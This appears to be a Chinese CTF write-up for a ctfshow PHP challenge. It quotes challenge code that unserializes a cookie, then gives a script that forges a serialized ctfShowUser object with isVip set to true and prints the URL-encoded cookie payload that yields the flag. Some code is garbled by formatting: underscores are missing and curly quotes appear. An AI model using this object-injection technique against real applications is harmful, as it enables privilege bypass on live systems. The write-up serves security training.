1. 代码审计
      ```php <?php errorreporting(0); highlightfile(__FILE); include(‘flag.php’);

    class ctfShowUser{ public $username=’xxxxxx’; public $password=’xxxxxx’; public $isVip=false;

    1. public function checkVip(){
    2. return $this->isVip;
    3. }
    4. public function login($u,$p){
    5. return $this->username===$u&&$this->password===$p;
    6. }
    7. public function vipOneKeyGetFlag(){
    8. if($this->isVip){
    9. global $flag;
    10. if($this->username!==$this->password){
    11. #判断username不等于password时输出flag
    12. echo "your flag is ".$flag;
    13. }
    14. }else{
    15. echo "no vip, no flag";
    16. }
    17. }

    }

    $username=$_GET[‘username’]; $password=$_GET[‘password’];

    if(isset($username) && isset($password)){ $user = unserialize($_COOKIE[‘user’]);
    if($user->login($username,$password)){ if($user->checkVip()){ $user->vipOneKeyGetFlag(); } }else{ echo “no vip,no flag”; } }

    
    2.  分析下,这里跟上题差不多,只不过要求`username`和`password`值不能相同,这里构造不一样的就行了  
    ```php
    <?php
    class ctfShowUser{
        public $username='1';
        public $password='2';
        public $isVip=true;
    }
    $a=new ctfShowUser();
    echo urlencode(serialize($a));
    ?>
    
    #输出
    #O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A1%3A%221%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%222%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
    
    1. 利用工具传值就好了
      image-20210613231532319.png